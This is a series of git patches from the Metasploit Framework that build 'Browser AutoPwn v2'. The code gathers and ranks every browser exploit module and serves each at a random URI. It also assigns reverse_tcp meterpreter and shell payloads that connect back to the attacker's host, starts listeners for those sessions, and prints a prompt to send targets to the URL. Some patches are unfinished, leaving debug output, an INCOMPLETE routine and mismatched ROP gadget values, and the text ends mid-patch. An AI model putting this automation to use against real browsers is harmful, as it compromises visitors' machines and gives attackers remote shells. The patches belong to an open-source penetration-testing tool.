From b57eb0897efa5184fc9703daec3838018dde99c3 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 27 Mar 2015 03:08:24 -0500 Subject: [PATCH 001/150] BAP v2 place holder --- modules/exploits/multi/browser/autopwn.rb | 39 +++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 modules/exploits/multi/browser/autopwn.rb diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb new file mode 100644 index 0000000000..135ad1c13f --- /dev/null +++ b/modules/exploits/multi/browser/autopwn.rb @@ -0,0 +1,39 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "HTTP Client Automatic Exploiter", + 'Description' => %q{ + Place holder + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r' + ], + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 5 2014", + 'DefaultTarget' => 0)) + end + + + def on_request_exploit(cli, request, target_info) + send_exploit_html(cli, 'OK') + end + + +end From 4486831ba34e4128e1fe056caa8fb81234e9dd8d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 14 Apr 2015 01:33:02 -0500 Subject: [PATCH 002/150] Module loading portion --- lib/msf/core/exploit/browserautopwnv2.rb | 172 ++++++++++++++++++++++ lib/msf/core/exploit/mixins.rb | 1 + modules/exploits/multi/browser/autopwn.rb | 3 +- 3 files changed, 175 insertions(+), 1 deletion(-) create mode 100644 lib/msf/core/exploit/browserautopwnv2.rb diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb new file mode 100644 index 0000000000..542b39b874 --- /dev/null +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -0,0 +1,172 @@ +### +# +# The Msf::Exploit::Remote::BrowserAutopwnv2 mixin is a replacement for the current BrowserAutoPwn +# +### + + +module Msf + module Exploit::Remote::BrowserAutopwnv2 + + include Msf::Exploit::Remote::BrowserExploitServer + + # @return [Array] + attr_reader :bap_exploits + + + # The default platform-specific payloads and preferred LPORTS + # The hash key is the name of the platform that matches what's on the module + DEFAULT_PAYLOADS = { + 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, + 'linux' => { 'payload' => 'linux/meterpreter/reverse_tcp', 'lport' => 4445 }, + 'osx' => { 'payload' => 'osx/meterpreter/reverse_tcp', 'lport' => 4446 }, + 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4447 }, + 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, + 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, + 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4450 } + } + + + # Returns all the found exploit modules that support BrowserExploitServer + # + # @return [Array] A collection of BES modules + def init_exploit_paths + @bap_exploits ||= lambda { + framework.exploits.find_all do |m| + next if m.last == "__SYMBOLIC__" || m.last.fullname == self.fullname + m.last.ancestors.include? Msf::Exploit::Remote::BrowserExploitServer + end + }.call + end + + + # Initializes all found BES exploits + # + # @return [void] + def init_exploits + init_exploit_paths.each do |m| + module_name = m.first + xploit = framework.exploits.create(module_name) + unless xploit + print_status("Failed to load: #{name}") + next + end + set_exploit_options(xploit) + + # We don't have the :last method, so we retrieve at -1, which gives us the same thing + m[-1] = xploit + end + end + + + # Modifies an exploit's default datastore options + # + # @return [void] + def set_exploit_options(xploit) + p = pick_default_payload(xploit) + xploit.datastore['DisablePayloadHandler'] = true # BAP should handle the handlers + xploit.datastore['PAYLOAD'] = p['payload'] # We'll need this information later for multi handler + xploit.datastore['LPORT'] = p['lport'] # We'll need this information later for multi handler + xploit.datastore['SSL'] = datastore['SSL'] # Use SSL or not + xploit.datastore['SSLVersion'] = datastore['SSLVersion'] # SSL Version + xploit.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' # Attacker's IP + xploit.datastore['URI'] = "/#{assign_module_resource}" + end + + + # Checks if a resource is already taken or not + # + # @return [TrueClass] Resource is taken + # @return [FalseClass] Resource is not taken + def is_resource_taken?(resource) + taken = false + + bap_exploits.each do |m| + obj = m.last + if obj.respond_to?(:datastore) && obj.datastore['URI'] == resource + # When a module has not be initialized, the object does not have the datastore + # method. So we need to check that first, so that we can access the URI option + # safely. + return true + end + end + + taken + end + + + # Returns a unique resource path + # + # @return [String] + def assign_module_resource + resource = '' + while + resource = Rex::Text.rand_text_alpha(rand(10) + 4) + break unless is_resource_taken?(resource) + end + + resource + end + + + # Returns a preferred default payload. The load order is based on this preference: + # if there is a browser-specific payload (such as firefox), then we'll use that as default. + # And then we fall back to the module's platform. If there's nothing we can choose, + # then we'll just use the generic reverse shell. + # + # @param [Class] The initialized exploit object + # @return [Hash] The default payload information from DEFAULT_PAYLOADS + def pick_default_payload(m) + module_platforms = m.platform.platforms + preferred_payload = DEFAULT_PAYLOADS['generic'] + + # Specific load order + if module_platforms.include?('firefox') + preferred_payload = DEFAULT_PAYLOADS['firefox'] + elsif module_platforms.include?('java') + preferred_payload = DEFAULT_PAYLOADS['java'] + elsif module_platforms.include?('android') + preferred_payload = DEFAULT_PAYLOADS['android'] + elsif module_platforms.include?('win') + preferred_payload = DEFAULT_PAYLOADS['win'] + elsif module_platforms.include?('linux') + preferred_payload = DEFAULT_PAYLOADS['linux'] + elsif module_platforms.include?('osx') + preferred_payload = DEFAULT_PAYLOADS['osx'] + end + + preferred_payload + end + + + # Sets up BAPv2. This is like our main function. + # + # @return [void] + def setup + super + print_status("Searching BES exploits, please wait...") + init_exploits + print_status("#{@bap_exploits.length} BES exploits found.") + end + + + # Overrides the original print_status. It will modify certain outputs to make messages more + # friendly to understand + def print_status(msg='') + case msg + when /Using URL: / + msg.gsub!('Using URL: ', '') + super("BrowserAutoPwn is using URL: #{msg}") + when /Local IP: / + msg.gsub!('Local IP: ', '') + super("Ask your target to visit this URL: #{msg}") + when /Server started\./ + super("Browser AutoPwn has started.") + else + super(msg) + end + end + + + end +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index cd7edc03f9..91024ae873 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -104,3 +104,4 @@ require 'msf/core/exploit/android' # Browser Exploit Server require 'msf/core/exploit/remote/browser_exploit_server' +require 'msf/core/exploit/browserautopwnv2' diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 135ad1c13f..561cf509d7 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::BrowserAutopwnv2 def initialize(info={}) super(update_info(info, @@ -25,6 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', {} ] ], + 'Platform' => %w{ java linux osx solaris win }, 'Privileged' => false, 'DisclosureDate' => "Feb 5 2014", 'DefaultTarget' => 0)) From 6c9cc7c72538981e4810b7f659cb79b9ba82148c Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 14 Apr 2015 13:30:34 -0500 Subject: [PATCH 003/150] Some progress --- lib/msf/core/exploit/browserautopwnv2.rb | 62 +++++++++++++++-------- modules/exploits/multi/browser/autopwn.rb | 30 +++++++---- 2 files changed, 63 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 542b39b874..d6b30b2ca7 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -4,13 +4,14 @@ # ### +require 'Date' module Msf module Exploit::Remote::BrowserAutopwnv2 include Msf::Exploit::Remote::BrowserExploitServer - # @return [Array] + # @return [Array] The exploit list BAP manages attr_reader :bap_exploits @@ -33,7 +34,7 @@ module Msf def init_exploit_paths @bap_exploits ||= lambda { framework.exploits.find_all do |m| - next if m.last == "__SYMBOLIC__" || m.last.fullname == self.fullname + next if !m.first.include?('browser') || m.last == "__SYMBOLIC__" || m.last.fullname == self.fullname m.last.ancestors.include? Msf::Exploit::Remote::BrowserExploitServer end }.call @@ -56,6 +57,21 @@ module Msf # We don't have the :last method, so we retrieve at -1, which gives us the same thing m[-1] = xploit end + + # These can be done during initialization, so let's do that. But sort-by-requirement-count + # will have to occur after we actually have the target information. + $stderr.puts + $stderr.puts list_bap_names + sort_by_disclosure_date + sort_by_rank + $stderr.puts + $stderr.puts list_bap_names + end + + def list_bap_names + bap_exploits.each do |m| + $stderr.puts m.first + end end @@ -139,6 +155,30 @@ module Msf end + # Modifies @bap_exploits by sorting BAP exploits by disclosure date + # + # @return [void] + def sort_by_disclosure_date + @bap_exploits = bap_exploits.sort_by {|m| Date.parse(m.last.disclosure_date.to_s)}.reverse + end + + + # Modifies @bap_exploits by sorting BAP exploits by ranking + # + # @return [void] + def sort_by_rank + @bap_exploits = bap_exploits.sort_by {|m| m.last.rank} + end + + + # Returns a list of suitable exploits for the current target + # + # @return [Array] + def find_suitable_exploits(target_info) + $stderr.puts target_info.inspect + end + + # Sets up BAPv2. This is like our main function. # # @return [void] @@ -150,23 +190,5 @@ module Msf end - # Overrides the original print_status. It will modify certain outputs to make messages more - # friendly to understand - def print_status(msg='') - case msg - when /Using URL: / - msg.gsub!('Using URL: ', '') - super("BrowserAutoPwn is using URL: #{msg}") - when /Local IP: / - msg.gsub!('Local IP: ', '') - super("Ask your target to visit this URL: #{msg}") - when /Server started\./ - super("Browser AutoPwn has started.") - else - super(msg) - end - end - - end end diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 561cf509d7..ddd3d93e8b 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -17,22 +17,34 @@ class Metasploit3 < Msf::Exploit::Remote Place holder }, 'License' => MSF_LICENSE, - 'Author' => - [ - 'sinn3r' - ], - 'Targets' => - [ - [ 'Automatic', {} ] - ], - 'Platform' => %w{ java linux osx solaris win }, + 'Author' => [ 'sinn3r' ], + 'Targets' => [ [ 'Automatic', {} ] ], + 'DefaultOptions' => { + 'DisablePayloadHandler' => true # BAPv2 will set up our own + }, + 'Platform' => %w{ java linux osx solaris win android firefox }, 'Privileged' => false, 'DisclosureDate' => "Feb 5 2014", + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'OSX Target', + { + :os_name => 'Mac OS X', + 'Rop' => :msvcrt, + 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret + 'Align' => 0x77c4d801 # add esp, 0x2c; ret + } + ] + ], 'DefaultTarget' => 0)) end def on_request_exploit(cli, request, target_info) + $stderr.puts get_target.inspect + $stderr.puts find_suitable_exploits(target_info) send_exploit_html(cli, 'OK') end From d9b77b0629fe9c3a7268948929dc80a4cd2b19eb Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 14 Apr 2015 17:05:33 -0500 Subject: [PATCH 004/150] Sorting --- lib/msf/core/exploit/browserautopwnv2.rb | 130 ++++++++++++++--------- 1 file changed, 81 insertions(+), 49 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index d6b30b2ca7..2dfa8ca381 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -15,8 +15,8 @@ module Msf attr_reader :bap_exploits - # The default platform-specific payloads and preferred LPORTS - # The hash key is the name of the platform that matches what's on the module + # The default platform-specific payloads and preferred LPORTS. + # The hash key is the name of the platform that matches what's on the module. DEFAULT_PAYLOADS = { 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, 'linux' => { 'payload' => 'linux/meterpreter/reverse_tcp', 'lport' => 4445 }, @@ -28,23 +28,23 @@ module Msf } - # Returns all the found exploit modules that support BrowserExploitServer + # Returns all the found exploit modules that support BrowserExploitServer. # - # @return [Array] A collection of BES modules + # @return [Array] A collection of BES modules in this format: [module_fullname, Class]. def init_exploit_paths - @bap_exploits ||= lambda { - framework.exploits.find_all do |m| - next if !m.first.include?('browser') || m.last == "__SYMBOLIC__" || m.last.fullname == self.fullname - m.last.ancestors.include? Msf::Exploit::Remote::BrowserExploitServer - end - }.call + framework.exploits.find_all do |m| + next if !m.first.include?('browser') || m.last == "__SYMBOLIC__" || m.last.fullname == self.fullname + m.last.ancestors.include? Msf::Exploit::Remote::BrowserExploitServer + end end - # Initializes all found BES exploits + # Initializes all found BES exploits. # # @return [void] def init_exploits + @bap_exploits = [] # Initialized BES modules are held here + init_exploit_paths.each do |m| module_name = m.first xploit = framework.exploits.create(module_name) @@ -53,29 +53,20 @@ module Msf next end set_exploit_options(xploit) - - # We don't have the :last method, so we retrieve at -1, which gives us the same thing - m[-1] = xploit + @bap_exploits << xploit end - - # These can be done during initialization, so let's do that. But sort-by-requirement-count - # will have to occur after we actually have the target information. - $stderr.puts - $stderr.puts list_bap_names - sort_by_disclosure_date - sort_by_rank - $stderr.puts - $stderr.puts list_bap_names end + + # For debugging purposes. def list_bap_names bap_exploits.each do |m| - $stderr.puts m.first + print_status(m.fullname) end end - # Modifies an exploit's default datastore options + # Modifies an exploit's default datastore options. # # @return [void] def set_exploit_options(xploit) @@ -90,30 +81,24 @@ module Msf end - # Checks if a resource is already taken or not + # Checks if a resource is already taken or not. # - # @return [TrueClass] Resource is taken - # @return [FalseClass] Resource is not taken + # @return [TrueClass] Resource is taken. + # @return [FalseClass] Resource is not taken. def is_resource_taken?(resource) taken = false bap_exploits.each do |m| - obj = m.last - if obj.respond_to?(:datastore) && obj.datastore['URI'] == resource - # When a module has not be initialized, the object does not have the datastore - # method. So we need to check that first, so that we can access the URI option - # safely. - return true - end + return true if m.datastore['URI'] == resource end taken end - # Returns a unique resource path + # Returns a unique resource path. # - # @return [String] + # @return [String] A unique resource path. def assign_module_resource resource = '' while @@ -130,8 +115,8 @@ module Msf # And then we fall back to the module's platform. If there's nothing we can choose, # then we'll just use the generic reverse shell. # - # @param [Class] The initialized exploit object - # @return [Hash] The default payload information from DEFAULT_PAYLOADS + # @param [Class] The initialized exploit object. + # @return [Hash] The default payload information from DEFAULT_PAYLOADS. def pick_default_payload(m) module_platforms = m.platform.platforms preferred_payload = DEFAULT_PAYLOADS['generic'] @@ -155,25 +140,70 @@ module Msf end - # Modifies @bap_exploits by sorting BAP exploits by disclosure date + # Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top. # # @return [void] - def sort_by_disclosure_date - @bap_exploits = bap_exploits.sort_by {|m| Date.parse(m.last.disclosure_date.to_s)}.reverse + def sort_bap_exploits + bap_groups = group_bap_modules + bap_groups = sort_date_in_group(bap_groups) + bap_groups = sort_group_by_rank(bap_groups) + finalize_sorted_modules(bap_groups) end - # Modifies @bap_exploits by sorting BAP exploits by ranking + # Sorts a grouped module list by disclosure date. # - # @return [void] - def sort_by_rank - @bap_exploits = bap_exploits.sort_by {|m| m.last.rank} + # @param [Hash] A grouped module list. + # @return [Hash] A hash with each module list sorted by disclosure date. + def sort_date_in_group(bap_groups) + bap_groups.each_pair do |ranking, module_list| + bap_groups[ranking] = module_list.sort_by {|m| Date.parse(m.disclosure_date.to_s)}.reverse + end end - # Returns a list of suitable exploits for the current target + # Sorts a module list by ranking. # - # @return [Array] + # @param [Hash] A grouped module list. + # @return [Hash] A hash grouped by ranking. + def sort_group_by_rank(bap_groups) + Hash[bap_groups.sort_by {|k,v| k}.reverse] + end + + + # Breaks @bap_exploits into groups. + # + # @return [Hash] A module list grouped by rank. + def group_bap_modules + bap_groups = {} + RankingName.each_pair do |ranking, value| + bap_groups[ranking] = [] + bap_exploits.each do |m| + next if m.rank != ranking + bap_groups[ranking] << m + end + end + bap_groups + end + + + # Modifies @bap_exploit by replacing it with the rearranged module list. + # + # @param [Hash] A grouped module list. + # @return [void] + def finalize_sorted_modules(bap_groups) + @bap_exploits = [] + bap_groups.each_pair do |ranking, module_list| + module_list.each do |m| + @bap_exploits << m + end + end + end + + + # Returns a list of suitable exploits for the current target. + # + # @return [Array] A list of suitable exploits to use against the target. def find_suitable_exploits(target_info) $stderr.puts target_info.inspect end @@ -186,9 +216,11 @@ module Msf super print_status("Searching BES exploits, please wait...") init_exploits + sort_bap_exploits + $stderr.puts + $stderr.puts list_bap_names print_status("#{@bap_exploits.length} BES exploits found.") end - end end From b5335ab2660449625c0d178b5fa151702c1efbf3 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 14 Apr 2015 19:03:08 -0500 Subject: [PATCH 005/150] Some progress, mostly documentation --- lib/msf/core/exploit/browserautopwnv2.rb | 27 ++++++++++++++++++----- modules/exploits/multi/browser/autopwn.rb | 1 - 2 files changed, 22 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 2dfa8ca381..5dd1633a8a 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -9,9 +9,12 @@ require 'Date' module Msf module Exploit::Remote::BrowserAutopwnv2 + # Exception specific for Msf::Exploit::Remote::BrowserAutopwnv2 + class BAPv2Exception < RuntimeError; end + include Msf::Exploit::Remote::BrowserExploitServer - # @return [Array] The exploit list BAP manages + # @return [Array] A list of initialized BAP exploits attr_reader :bap_exploits @@ -28,7 +31,8 @@ module Msf } - # Returns all the found exploit modules that support BrowserExploitServer. + # Returns all the found exploit modules that support BrowserExploitServer by going through all + # the exploits from the framework object. # # @return [Array] A collection of BES modules in this format: [module_fullname, Class]. def init_exploit_paths @@ -39,8 +43,9 @@ module Msf end - # Initializes all found BES exploits. + # Initializes the @bap_exploits instance variable with all the found BAP exploits. # + # @see #bap_exploits The read-only attribute. # @return [void] def init_exploits @bap_exploits = [] # Initialized BES modules are held here @@ -58,7 +63,9 @@ module Msf end - # For debugging purposes. + # Prints BAP module names + # + # @return [void] def list_bap_names bap_exploits.each do |m| print_status(m.fullname) @@ -115,6 +122,7 @@ module Msf # And then we fall back to the module's platform. If there's nothing we can choose, # then we'll just use the generic reverse shell. # + # @see DEFAULT_PAYLOADS # @param [Class] The initialized exploit object. # @return [Hash] The default payload information from DEFAULT_PAYLOADS. def pick_default_payload(m) @@ -142,6 +150,11 @@ module Msf # Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top. # + # @see #bap_exploits The read-only attribute. + # @see #sort_date_in_group The method for sorting by disclosure date + # @see #sort_group_by_rank The method for sorting by rank + # @see #sort_bap_modules The method for breaking the module list into groups + # @see #finalize_sorted_modules The method for finalizing bap_exploits # @return [void] def sort_bap_exploits bap_groups = group_bap_modules @@ -171,7 +184,7 @@ module Msf end - # Breaks @bap_exploits into groups. + # Breaks @bap_exploits into groups for sorting purposes. # # @return [Hash] A module list grouped by rank. def group_bap_modules @@ -189,6 +202,7 @@ module Msf # Modifies @bap_exploit by replacing it with the rearranged module list. # + # @see #bap_exploits The read-only attribute. # @param [Hash] A grouped module list. # @return [void] def finalize_sorted_modules(bap_groups) @@ -203,6 +217,7 @@ module Msf # Returns a list of suitable exploits for the current target. # + # @param [Hash] Target's information such as the OS, browser, 3rd-party plugins, etc. # @return [Array] A list of suitable exploits to use against the target. def find_suitable_exploits(target_info) $stderr.puts target_info.inspect @@ -211,6 +226,8 @@ module Msf # Sets up BAPv2. This is like our main function. # + # @see #init_exploits + # @see #sort_bap_exploits # @return [void] def setup super diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index ddd3d93e8b..1edbcc95aa 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -41,7 +41,6 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0)) end - def on_request_exploit(cli, request, target_info) $stderr.puts get_target.inspect $stderr.puts find_suitable_exploits(target_info) From 0282b433e9d95640640991e81d2e07b840103bbd Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 14 Apr 2015 21:33:10 -0500 Subject: [PATCH 006/150] Payload sort of works --- lib/msf/core/exploit/browserautopwnv2.rb | 36 +++++++++++++++++++++--- 1 file changed, 32 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 5dd1633a8a..426477221f 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -26,7 +26,7 @@ module Msf 'osx' => { 'payload' => 'osx/meterpreter/reverse_tcp', 'lport' => 4446 }, 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4447 }, 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, - 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, +# 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4450 } } @@ -34,6 +34,8 @@ module Msf # Returns all the found exploit modules that support BrowserExploitServer by going through all # the exploits from the framework object. # + # @note This method is using framework.exploits and it's one of the reasons why it's so slow. + # @todo Maybe look for a different way to get a list of exploits. # @return [Array] A collection of BES modules in this format: [module_fullname, Class]. def init_exploit_paths framework.exploits.find_all do |m| @@ -84,7 +86,7 @@ module Msf xploit.datastore['SSL'] = datastore['SSL'] # Use SSL or not xploit.datastore['SSLVersion'] = datastore['SSLVersion'] # SSL Version xploit.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' # Attacker's IP - xploit.datastore['URI'] = "/#{assign_module_resource}" + xploit.datastore['URI'] = "/#{assign_module_resource}" # A unique resource URI for the exploit end @@ -215,6 +217,29 @@ module Msf end + # Creates payload listeners. + # + # @note INCOMPLETE + # @return [void] + def start_payload_listeners + DEFAULT_PAYLOADS.each_pair do |platform, listener_info| + multi_handler = framework.modules.create('exploit/multi/handler') + multi_handler.datastore['PAYLOAD'] = listener_info['payload'] + multi_handler.datastore['LPORT'] = listener_info['lport'] + multi_handler.datastore['EXITONSESSION'] = false + multi_handler.datastore['EXITFUNC'] = 'thread' +# multi_handler.datastore['ReverseListenerBindAddress'] = datastore['ReverseListenerBindAddress'] + multi_handler.exploit_simple( + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'Payload' => listener_info['payload'], + 'RunAsJob' => true + ) + $stderr.puts multi_handler.inspect + end + end + + # Returns a list of suitable exploits for the current target. # # @param [Hash] Target's information such as the OS, browser, 3rd-party plugins, etc. @@ -234,9 +259,12 @@ module Msf print_status("Searching BES exploits, please wait...") init_exploits sort_bap_exploits - $stderr.puts - $stderr.puts list_bap_names +# $stderr.puts +# $stderr.puts list_bap_names print_status("#{@bap_exploits.length} BES exploits found.") + + print_status("Starting listeners...") + start_payload_listeners end end From 71728c5c0340de28ea570c871529cd5eba89e3b7 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 15 Apr 2015 01:10:55 -0500 Subject: [PATCH 007/150] Changes --- lib/msf/core/exploit/browserautopwnv2.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 426477221f..03789a10f5 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -255,6 +255,7 @@ module Msf # @see #sort_bap_exploits # @return [void] def setup + t1 = Time.now super print_status("Searching BES exploits, please wait...") init_exploits @@ -265,6 +266,8 @@ module Msf print_status("Starting listeners...") start_payload_listeners + t2 = Time.now + $stderr.puts (t2-t1).inspect end end From 43492b7c67331e6f687c42dc82612655af43ba2f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 28 Apr 2015 18:17:32 -0500 Subject: [PATCH 008/150] Some progress --- lib/msf/core/exploit/browserautopwnv2.rb | 85 +++++++++++++++++++++-- lib/msf/core/exploit/http/server.rb | 6 +- lib/msf/core/exploit/tcp_server.rb | 8 ++- modules/exploits/multi/browser/autopwn.rb | 4 +- 4 files changed, 92 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 03789a10f5..12703fd5f8 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -20,6 +20,7 @@ module Msf # The default platform-specific payloads and preferred LPORTS. # The hash key is the name of the platform that matches what's on the module. + # The loader order is specific. DEFAULT_PAYLOADS = { 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, 'linux' => { 'payload' => 'linux/meterpreter/reverse_tcp', 'lport' => 4445 }, @@ -86,7 +87,8 @@ module Msf xploit.datastore['SSL'] = datastore['SSL'] # Use SSL or not xploit.datastore['SSLVersion'] = datastore['SSLVersion'] # SSL Version xploit.datastore['LHOST'] = datastore['LHOST'] || '0.0.0.0' # Attacker's IP - xploit.datastore['URI'] = "/#{assign_module_resource}" # A unique resource URI for the exploit + xploit.datastore['URIPATH'] = "/#{assign_module_resource}" # A unique resource URI for the exploit + xploit.datastore['MODULEOWNER'] = 'BAP' # Let other mixins know we're in BrowserAutoPwn mode end @@ -235,7 +237,7 @@ module Msf 'Payload' => listener_info['payload'], 'RunAsJob' => true ) - $stderr.puts multi_handler.inspect + #$stderr.puts multi_handler.inspect end end @@ -249,6 +251,71 @@ module Msf end + def parse_rank(rank) + rank_str = '' + + case rank + when 0 + rank_str = 'Manual' + when 100 + rank_str = 'Low' + when 200 + rank_str = 'Average' + when 300 + rank_str = 'Normal' + when 400 + rank_str = 'Good' + when 500 + rank_str = 'Great' + when 600 + rank_str = 'Excellent' + end + + rank_str + end + + + def select_payload(m) + selected_payload = DEFAULT_PAYLOADS['generic']['payload'] + DEFAULT_PAYLOADS.each_pair do |p, info| + preferred = info['payload'] + m.compatible_payloads.each do |k| + return preferred if k[0] == preferred + end + end + + selected_payload + end + + + def start_exploits + order = 1 + table = Rex::Ui::Text::Table.new( + "Header" => "Exploits", + "Indent" => 1, + "Columns" => ["Order", "Rank", "Name", "URI"] + ) + + bap_exploits.each do |m| + m.exploit_simple( + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'Target' => 0, + 'Payload' => select_payload(m), + 'RunAsJob' => true + ) + table << [order.to_s, parse_rank(rank), m.shortname, m.get_resource] + order += 1 + end + + print_line + print_status("The following is a list of exploits that are ready for BrowserAutopwn.") + print_status("Exploits with the highest ranking and newest will be tried first.") + print_line + print_line table.to_s + end + + # Sets up BAPv2. This is like our main function. # # @see #init_exploits @@ -256,18 +323,26 @@ module Msf # @return [void] def setup t1 = Time.now + self.datastore['MODULEOWNER'] = 'BAP' super print_status("Searching BES exploits, please wait...") init_exploits sort_bap_exploits -# $stderr.puts -# $stderr.puts list_bap_names print_status("#{@bap_exploits.length} BES exploits found.") print_status("Starting listeners...") start_payload_listeners + print_status("Starting exploit modules...") + start_exploits t2 = Time.now - $stderr.puts (t2-t1).inspect + print_line + print_status("Time spent: #{(t2-t1).inspect}") + end + + def start_service + super + print_status("Please use the following URL for the browser attack:") + print_status("BrowserAutoPwn URL: #{self.get_uri}") end end diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 7e52027dd5..ae54676bcb 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -226,9 +226,11 @@ module Exploit::Remote::HttpServer print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!") end - print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") + unless datastore['MODULEOWNER'] == 'BAP' + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") + end - if (opts['ServerHost'] == '0.0.0.0') + if opts['ServerHost'] == '0.0.0.0' && datastore['MODULEOWNER'] != 'BAP' print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb index 771a1bad6b..3d53977a14 100644 --- a/lib/msf/core/exploit/tcp_server.rb +++ b/lib/msf/core/exploit/tcp_server.rb @@ -47,7 +47,9 @@ module Exploit::Remote::TcpServer def exploit start_service() - print_status("Server started.") + unless datastore['MODULEOWNER'] == 'BAP' + print_status("Server started.") + end # Call the exploit primer primer @@ -69,7 +71,9 @@ module Exploit::Remote::TcpServer super if(service) stop_service() - print_status("Server stopped.") + unless datastore['MODULEOWNER'] == 'BAP' + print_status("Server stopped.") + end end end diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 1edbcc95aa..ba227899d2 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -42,8 +42,8 @@ class Metasploit3 < Msf::Exploit::Remote end def on_request_exploit(cli, request, target_info) - $stderr.puts get_target.inspect - $stderr.puts find_suitable_exploits(target_info) + #$stderr.puts get_target.inspect + #$stderr.puts find_suitable_exploits(target_info) 